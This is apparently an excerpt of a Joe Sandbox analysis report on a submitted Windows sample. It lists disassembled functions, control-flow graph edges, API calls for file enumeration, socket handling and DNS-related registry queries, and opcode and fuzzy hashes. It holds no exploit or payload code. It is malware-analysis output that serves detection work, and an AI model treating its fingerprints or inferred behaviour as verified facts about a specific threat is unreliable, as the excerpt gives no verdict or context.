                                                          • GetDiskFreeSpaceExA.KERNELBASE ref: 0050267E
                                                          • KiUserCallbackDispatcher.NTDLL ref: 005027E2
                                                          • FindFirstFileW.KERNELBASE ref: 005028F8
                                                          • FindNextFileW.KERNELBASE ref: 0050291F
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2642863152.0000000000501000.00000040.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true
                                                          • Associated: 00000000.00000002.2642841065.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C27000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643417774.0000000000C2A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000C2C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643773932.0000000000FB8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643918856.000000000116F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643937713.0000000001171000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_500000_u57m8aCdwb.jbxd
                                                          Similarity
                                                          • API ID: FileFind$CallbackDiskDispatcherDriveFirstFreeGlobalInfoMemoryNextSpaceStatusSystemTypeUser
                                                          • String ID: ;%P$@$`
                                                          • API String ID: 3271271169-2703730284
                                                          • Opcode ID: 7e19549b31c72c137f038d2aed39331c68d0bd60db9ca7703b1724f470b136bb
                                                          • Instruction ID: 1faf33abe4e5644f48e4c57cbd606861731a05df0671fc04e08bef1ec241ffb6
                                                          • Opcode Fuzzy Hash: 7e19549b31c72c137f038d2aed39331c68d0bd60db9ca7703b1724f470b136bb
                                                          • Instruction Fuzzy Hash: 56D1CFB49147099FCB10EF68C99579EBBF0BF88314F41896DE89897340E7349A85CF92
                                                          Function 005029FF Relevance: 12.6, APIs: 6, Strings: 1, Instructions: 321registryfileCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 1261 5029ff-502a2f FindFirstFileA 1262 502a31-502a36 1261->1262 1263 502a38 1261->1263 1264 502a3d-502a91 call 98ee90 call 98ef20 RegOpenKeyExA 1262->1264 1263->1264 1269 502a93-502a98 1264->1269 1270 502a9a 1264->1270 1271 502a9f-502b0c call 98ee90 call 98ef20 CharUpperA call 888da0 1269->1271 1270->1271 1279 502b15 1271->1279 1280 502b0e-502b13 1271->1280 1281 502b1a-502b92 call 98ee90 call 98ef20 call 888e80 call 888e70 1279->1281 1280->1281 1290 502b94-502ba3 1281->1290 1291 502bcc-502c66 QueryFullProcessImageNameA CloseHandle call 888da0 1281->1291 1294 502bb0-502bc0 call 888e68 1290->1294 1295 502ba5-502bae 1290->1295 1301 502c68-502c6d 1291->1301 1302 502c6f 1291->1302 1298 502bc5-502bca 1294->1298 1295->1291 1298->1290 1298->1291 1303 502c74-502ce9 call 98ee90 call 98ef20 call 888e80 call 888e70 1301->1303 1302->1303 1312 502dcf-502e1c call 98ee90 call 98ef20 CloseHandle 1303->1312 1313 502cef-502d49 call 888bb0 call 888da0 1303->1313 1323 502e23-502e2e 1312->1323 1324 502d99-502dad 1313->1324 1325 502d4b-502d63 call 888da0 1313->1325 1326 502e30-502e35 1323->1326 1327 502e37 1323->1327 1324->1312 1325->1324 1333 502d65-502d7d call 888da0 1325->1333 1329 502e3c-502ed6 call 98ee90 call 98ef20 1326->1329 1327->1329 1342 502ed8-502ee1 1329->1342 1343 502eea 1329->1343 1333->1324 1339 502d7f-502d97 call 888da0 1333->1339 1339->1324 1347 502daf-502dc9 call 888e68 1339->1347 1342->1343 1345 502ee3-502ee8 1342->1345 1346 502eef-502f16 call 98ee90 call 98ef20 1343->1346 1345->1346 1347->1312 1347->1313
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2642863152.0000000000501000.00000040.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true
                                                          • Associated: 00000000.00000002.2642841065.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C27000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643417774.0000000000C2A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000C2C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643773932.0000000000FB8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643918856.000000000116F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643937713.0000000001171000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_500000_u57m8aCdwb.jbxd
                                                          Similarity
                                                          • API ID: CloseHandle$CharFileFindFirstFullImageNameOpenProcessQueryUpper
                                                          • String ID: 0
                                                          • API String ID: 2406880114-4108050209
                                                          • Opcode ID: a08b698e794b8409ed13119126d7f12bf861f92bf7d4440f65059a8f029f2fa1
                                                          • Instruction ID: ae50c0f1bc73f1ca2c81fbdd6b2784778df65fe0b66f2b665b026585c56a32e6
                                                          • Opcode Fuzzy Hash: a08b698e794b8409ed13119126d7f12bf861f92bf7d4440f65059a8f029f2fa1
                                                          • Instruction Fuzzy Hash: A3E1C1B09156059FCB10EF68D989B9EBBF4AF84304F51886DE888DB350EB749985CF42
                                                          Function 005105B0 Relevance: 9.1, APIs: 3, Strings: 2, Instructions: 377networkCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 1500 5105b0-5105b7 1501 5105bd-5105d4 1500->1501 1502 5107ee 1500->1502 1503 5107e7-5107ed 1501->1503 1504 5105da-5105e6 1501->1504 1503->1502 1504->1503 1505 5105ec-5105f0 1504->1505 1506 5107c7-5107cc 1505->1506 1507 5105f6-510620 call 517350 call 5070b0 1505->1507 1506->1503 1512 510622-510624 1507->1512 1513 51066a-51068c call 53dec0 1507->1513 1514 510630-510655 call 5070d0 call 5103c0 call 517450 1512->1514 1519 510692-5106a0 1513->1519 1520 5107d6-5107e3 call 517380 1513->1520 1540 51065b-510668 call 5070e0 1514->1540 1541 5107ce 1514->1541 1523 5106a2-5106a4 1519->1523 1524 5106f4-5106f6 1519->1524 1520->1503 1525 5106b0-5106e4 call 5173b0 1523->1525 1527 5106fc-5106fe 1524->1527 1528 5107ef-51082b call 513000 1524->1528 1525->1520 1539 5106ea-5106ee 1525->1539 1532 51072c-510754 1527->1532 1544 510831-510837 1528->1544 1545 510a2f-510a35 1528->1545 1536 510756-51075b 1532->1536 1537 51075f-51078b 1532->1537 1542 510707-510719 WSAEventSelect 1536->1542 1543 51075d 1536->1543 1555 510791-510796 1537->1555 1556 510700-510703 1537->1556 1539->1525 1549 5106f0 1539->1549 1540->1513 1540->1514 1541->1520 1542->1520 1553 51071f 1542->1553 1554 510723-510726 1543->1554 1547 510861-51087e 1544->1547 1548 510839-510842 call 516fa0 1544->1548 1550 510a37-510a3a 1545->1550 1551 510a3c-510a52 1545->1551 1567 510882-51088d 1547->1567 1561 510847-51084c 1548->1561 1549->1524 1550->1551 1551->1520 1558 510a58-510a81 call 512f10 1551->1558 1553->1554 1554->1528 1554->1532 1555->1556 1560 51079c-5107c2 call 5076a0 1555->1560 1556->1542 1558->1520 1573 510a87-510a97 call 516df0 1558->1573 1560->1556 1565 510852 1561->1565 1566 510a9c-510aa4 1561->1566 1565->1547 1570 510854-51085f 1565->1570 1566->1520 1571 510970-510975 1567->1571 1572 510893-5108b1 1567->1572 1570->1567 1574 510a19-510a2c 1571->1574 1575 51097b-510989 call 5070b0 1571->1575 1576 5108c8-5108f7 1572->1576 1573->1520 1574->1545 1575->1574 1583 51098f-51099e 1575->1583 1584 5108f9-5108fb 1576->1584 1585 5108fd-510925 1576->1585 1587 5109b0-5109c1 call 5070d0 1583->1587 1586 510928-51093f 1584->1586 1585->1586 1591 5108b3-5108c2 1586->1591 1592 510945-51096b 1586->1592 1593 5109a0-5109ae call 5070e0 1587->1593 1594 5109c3-5109c7 1587->1594 1591->1571 1591->1576 1592->1591 1593->1574 1593->1587 1595 5109e8-510a03 WSAEnumNetworkEvents 1594->1595 1597 5109d0-5109e6 WSAEventSelect 1595->1597 1598 510a05-510a17 1595->1598 1597->1593 1597->1595 1598->1597
                                                          APIs
                                                          • WSAEventSelect.WS2_32(?,?,?), ref: 00510712
                                                          • WSAEventSelect.WS2_32(?,?,00000000), ref: 005109DD
                                                          • WSAEnumNetworkEvents.WS2_32(?,00000000,00000000), ref: 005109FB
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2642863152.0000000000501000.00000040.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true
                                                          • Associated: 00000000.00000002.2642841065.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C27000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643417774.0000000000C2A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000C2C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643773932.0000000000FB8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643918856.000000000116F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643937713.0000000001171000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_500000_u57m8aCdwb.jbxd
                                                          Similarity
                                                          • API ID: EventSelect$EnumEventsNetwork
                                                          • String ID: N=P$multi.c
                                                          • API String ID: 2170980988-3966857958
                                                          • Opcode ID: 96bfdfdce23694d9e72ccf359c42d15920191e47fae821dcc1b7bbf29cbc2776
                                                          • Instruction ID: b15bda227bdd758b60b51a38c7615b871138611918263f7f2c61749dad800a52
                                                          • Opcode Fuzzy Hash: 96bfdfdce23694d9e72ccf359c42d15920191e47fae821dcc1b7bbf29cbc2776
                                                          • Instruction Fuzzy Hash: 77D1BD756083069BF710DF24C895BABBBE9FF84344F04582CF88486292E7B4E9C5CB52
                                                          Function 00516FA0 Relevance: 6.3, APIs: 4, Instructions: 261COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 1671 516fa0-516fd2 1672 516fd4-516fd6 1671->1672 1673 516feb-516ff1 1671->1673 1674 516fe0-516fe4 1672->1674 1675 517324-517330 1673->1675 1676 516ff7-516ff9 1673->1676 1677 516fe6-516fe9 1674->1677 1678 51701b-517041 1674->1678 1679 517186-517196 1676->1679 1680 516fff-517016 1676->1680 1677->1673 1677->1674 1681 517060-517074 1678->1681 1679->1675 1680->1675 1682 517057-51705a 1681->1682 1683 517076-517081 1681->1683 1682->1681 1687 517172-517174 1682->1687 1683->1682 1686 517083-517089 1683->1686 1688 51708b-51708f 1686->1688 1689 5170dc-5170df 1686->1689 1690 517176-517184 1687->1690 1691 51719b-5171a8 1687->1691 1694 517091 1688->1694 1695 5170b0-5170bd 1688->1695 1696 5170e1-5170e5 1689->1696 1697 51712c-517132 1689->1697 1692 5171f1-51722d call 51d7f0 select 1690->1692 1691->1692 1693 5171aa-5171be 1691->1693 1721 517233-51723e 1692->1721 1722 51730b 1692->1722 1698 5171c4-5171c6 1693->1698 1699 51730d-517310 1693->1699 1700 5170a0-5170a7 1694->1700 1703 5170d5 1695->1703 1704 5170bf-5170ce 1695->1704 1705 517100-51710d 1696->1705 1706 5170e7 1696->1706 1697->1682 1701 517138-51713c 1697->1701 1709 517331-517344 1698->1709 1710 5171cc-5171e6 1698->1710 1699->1675 1715 517312-517322 1699->1715 1700->1695 1711 5170a9-5170ac 1700->1711 1712 51714d-51715a 1701->1712 1713 51713e 1701->1713 1703->1689 1704->1703 1707 517125 1705->1707 1708 51710f-51711e 1705->1708 1716 5170f0-5170f7 1706->1716 1707->1697 1708->1707 1709->1675 1730 517346 1709->1730 1710->1675 1731 5171ec 1710->1731 1711->1700 1717 5170ae 1711->1717 1719 517050 1712->1719 1720 517160-51716d 1712->1720 1718 517140-517144 1713->1718 1715->1675 1716->1705 1723 5170f9-5170fc 1716->1723 1717->1695 1718->1712 1726 517146-517149 1718->1726 1719->1682 1720->1719 1727 51725c-517269 1721->1727 1722->1699 1723->1716 1729 5170fe 1723->1729 1726->1718 1732 51714b 1726->1732 1733 517253-517256 1727->1733 1734 51726b-51727b __WSAFDIsSet 1727->1734 1729->1705 1730->1715 1731->1715 1732->1712 1733->1675 1733->1727 1735 51729a-5172ac __WSAFDIsSet 1734->1735 1736 51727d-517287 1734->1736 1739 5172ba-5172c9 __WSAFDIsSet 1735->1739 1740 5172ae-5172b3 1735->1740 1737 517289 1736->1737 1738 51728e-517293 1736->1738 1737->1738 1738->1735 1741 517295 1738->1741 1743 517240 1739->1743 1744 5172cf-5172f6 1739->1744 1740->1739 1742 5172b5 1740->1742 1741->1735 1742->1739 1745 517245-51724c 1743->1745 1744->1745 1746 5172fc-517306 1744->1746 1745->1733 1746->1745
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2642863152.0000000000501000.00000040.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true
                                                          • Associated: 00000000.00000002.2642841065.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C27000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643417774.0000000000C2A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000C2C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643773932.0000000000FB8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643918856.000000000116F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643937713.0000000001171000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_500000_u57m8aCdwb.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 910fabde06f0e35ef876f05afb57d6bbe9299e42db7bd69247a96bcc8021e79e
                                                          • Instruction ID: f976e911ee0d9ca113345f44777b3f6bd121946c0584090da9b94b566442390e
                                                          • Opcode Fuzzy Hash: 910fabde06f0e35ef876f05afb57d6bbe9299e42db7bd69247a96bcc8021e79e
                                                          • Instruction Fuzzy Hash: B491D43060D30D8BE7359A2C88947FB7AF5FBC8320F148A2CE8A9431D4E7759D81D691
                                                          Function 005CB180 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 323COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 1747 5cb180-5cb195 1748 5cb19b-5cb1a2 1747->1748 1749 5cb3e0-5cb3e7 1747->1749 1750 5cb1b0-5cb1b9 1748->1750 1750->1750 1751 5cb1bb-5cb1bd 1750->1751 1751->1749 1752 5cb1c3-5cb1d0 1751->1752 1754 5cb3db 1752->1754 1755 5cb1d6-5cb1f2 1752->1755 1754->1749 1756 5cb229-5cb22d 1755->1756 1757 5cb3e8-5cb417 1756->1757 1758 5cb233-5cb246 1756->1758 1765 5cb41d-5cb429 1757->1765 1766 5cb582-5cb589 1757->1766 1759 5cb248-5cb24b 1758->1759 1760 5cb260-5cb264 1758->1760 1761 5cb24d-5cb256 1759->1761 1762 5cb215-5cb223 1759->1762 1764 5cb269-5cb286 call 5caf30 1760->1764 1761->1764 1762->1756 1768 5cb315-5cb33c call 888b00 1762->1768 1775 5cb288-5cb2a3 call 5cb060 1764->1775 1776 5cb2f0-5cb301 1764->1776 1770 5cb42b-5cb433 call 5cb590 1765->1770 1771 5cb435-5cb44c call 5cb590 1765->1771 1778 5cb3bf-5cb3ca 1768->1778 1779 5cb342-5cb347 1768->1779 1770->1771 1787 5cb44e-5cb456 call 5cb590 1771->1787 1788 5cb458-5cb471 call 5cb590 1771->1788 1793 5cb2a9-5cb2c7 getsockname call 5cb020 1775->1793 1794 5cb200-5cb213 call 5cb020 1775->1794 1776->1762 1790 5cb307-5cb310 1776->1790 1789 5cb3cc-5cb3d9 1778->1789 1784 5cb349-5cb358 1779->1784 1785 5cb384-5cb38f 1779->1785 1791 5cb360-5cb382 1784->1791 1785->1778 1792 5cb391-5cb3a5 1785->1792 1787->1788 1803 5cb48c-5cb4a7 1788->1803 1804 5cb473-5cb487 1788->1804 1789->1749 1790->1789 1791->1785 1791->1791 1798 5cb3b0-5cb3bd 1792->1798 1805 5cb2cc-5cb2dd 1793->1805 1794->1762 1798->1778 1798->1798 1807 5cb4a9-5cb4b1 call 5cb660 1803->1807 1808 5cb4b3-5cb4cb call 5cb660 1803->1808 1804->1766 1805->1762 1809 5cb2e3 1805->1809 1807->1808 1814 5cb4cd-5cb4d5 call 5cb660 1808->1814 1815 5cb4d9-5cb4f5 call 5cb660 1808->1815 1809->1790 1814->1815 1820 5cb50d-5cb52b call 5cb770 * 2 1815->1820 1821 5cb4f7-5cb50b 1815->1821 1820->1766 1826 5cb52d-5cb531 1820->1826 1821->1766 1827 5cb580 1826->1827 1828 5cb533-5cb53b 1826->1828 1827->1766 1829 5cb53d-5cb547 1828->1829 1830 5cb578-5cb57e 1828->1830 1829->1830 1831 5cb549-5cb54d 1829->1831 1830->1766 1831->1830 1832 5cb54f-5cb558 1831->1832 1832->1830 1833 5cb55a-5cb576 call 5cb870 * 2 1832->1833 1833->1766 1833->1830
                                                          APIs
                                                          • getsockname.WS2_32(-00000020,-00000020,?), ref: 005CB2B6
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2642863152.0000000000501000.00000040.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true
                                                          • Associated: 00000000.00000002.2642841065.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C27000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643417774.0000000000C2A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000C2C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643773932.0000000000FB8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643918856.000000000116F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643937713.0000000001171000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_500000_u57m8aCdwb.jbxd
                                                          Similarity
                                                          • API ID: getsockname
                                                          • String ID: ares__sortaddrinfo.c$cur != NULL
                                                          • API String ID: 3358416759-2430778319
                                                          • Opcode ID: 412fd51bd38429294daeeca91a38b672eefb665fcc75378135bd48dfe96bf5a6
                                                          • Instruction ID: 2ed50e5ef0817f32d868a3eb774e2ab4c5963f94bca87674975c03a44c49c2a3
                                                          • Opcode Fuzzy Hash: 412fd51bd38429294daeeca91a38b672eefb665fcc75378135bd48dfe96bf5a6
                                                          • Instruction Fuzzy Hash: 02C17F716043059FEB18DFA4C886F6A7BE5BF88304F04896CE8459B3A2E735ED45CB81
                                                          Function 005CA8C0 Relevance: 1.5, APIs: 1, Instructions: 39COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • recvfrom.WS2_32(?,?,?,00000000,00001001,?,?,?,?,?,005B712E,?,?,?,00001001,00000000), ref: 005CA90D
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2642863152.0000000000501000.00000040.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true
                                                          • Associated: 00000000.00000002.2642841065.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2642863152.0000000000C27000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643417774.0000000000C2A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000C2C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643442476.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643773932.0000000000FB8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643918856.000000000116F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.2643937713.0000000001171000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_500000_u57m8aCdwb.jbxd
                                                          Similarity
                                                          • API ID: recvfrom
                                                          • String ID:
                                                          • API String ID: 846543921-0
                                                          • Opcode ID: b24fc14938cc82eea87cd8d04faf422fc67d8382a34d9d07b8455c11fd01822f
                                                          • Instruction ID: f06ee38ac3051d29e6c939db2785eec5966dd965e6ce29fa61ec78f5f1f110c3
                                                          • Opcode Fuzzy Hash: b24fc14938cc82eea87cd8d04faf422fc67d8382a34d9d07b8455c11fd01822f
                                                          • Instruction Fuzzy Hash: D3F06D7510830CAFD2109E41DC89E6BBBEDFFCD758F05495DF948132118270AE10CAB2
                                                          Function 005BA440 Relevance: 53.6, APIs: 22, Strings: 8, Instructions: 1066registryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetAdaptersAddresses.IPHLPAPI(00000000,00000000,00000000,00000000,?), ref: 005BA499
                                                          • GetAdaptersAddresses.IPHLPAPI(00000000,00000000,00000000,00000000,?), ref: 005BA4FB
                                                          • GetAdaptersAddresses.IPHLPAPI(00000000,00000000,00000000,00000000,?), ref: 005BA531
                                                          • RegOpenKeyExA.KERNELBASE(80000002,System\CurrentControlSet\Services\Tcpip\Parameters,00000000,00020019,?), ref: 005BAA19
                                                          • RegQueryValueExA.KERNELBASE(?,SearchList,00000000,00000000,00000000,00000000), ref: 005BAA4C
                                                          • RegQueryValueExA.KERNELBASE(?,SearchList,00000000,00000000,00000000,?), ref: 005BAA97
                                                          • RegQueryValueExA.KERNELBASE(?,Domain,00000000,00000000,00000000,00000000), ref: 005BAAE9
                                                          • RegQueryValueExA.KERNELBASE(?,Domain,00000000,00000000,00000000,?), ref: 005BAB30
                                                          • RegCloseKey.KERNELBASE(?), ref: 005BAB6A
                                                          • RegOpenKeyExA.KERNELBASE(80000002,Software\Policies\Microsoft\Windows NT\DNSClient,00000000,00020019,?), ref: 005BAB82
                                                          • RegOpenKeyExA.KERNELBASE(80000002,Software\Policies\Microsoft\System\DNSClient,00000000,00020019,?), ref: 005BAC46
                                                          • RegOpenKeyExA.KERNELBASE(80000002,System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces,00000000,00020019,?), ref: 005BAD0A
                                                          • RegEnumKeyExA.KERNELBASE ref: 005BAD8D
                                                          • RegCloseKey.KERNELBASE(?), ref: 005BADD9
                                                          • RegEnumKeyExA.KERNELBASE ref: 005BAE08
                                                          • RegOpenKeyExA.KERNELBASE(?,?,00000000,00000001,?), ref: 005BAE2A
                                                          • RegQueryValueExA.KERNELBASE(?,SearchList,00000000,00000000,00000000,00000000), ref: 005BAE54
                                                          • RegQueryValueExA.KERNELBASE(?,Domain,00000000,00000000,00000000,00000000), ref: 005BAF63
                                                          • RegQueryValueExA.KERNELBASE(?,Domain,00000000,00000000,00000000,?), ref: 005BAFB2
                                                          • RegQueryValueExA.KERNELBASE(?,DhcpDomain,00000000,00000000,00000000,00000000), ref: 005BB072
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.2642863152.0000000000501000.00000040.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true
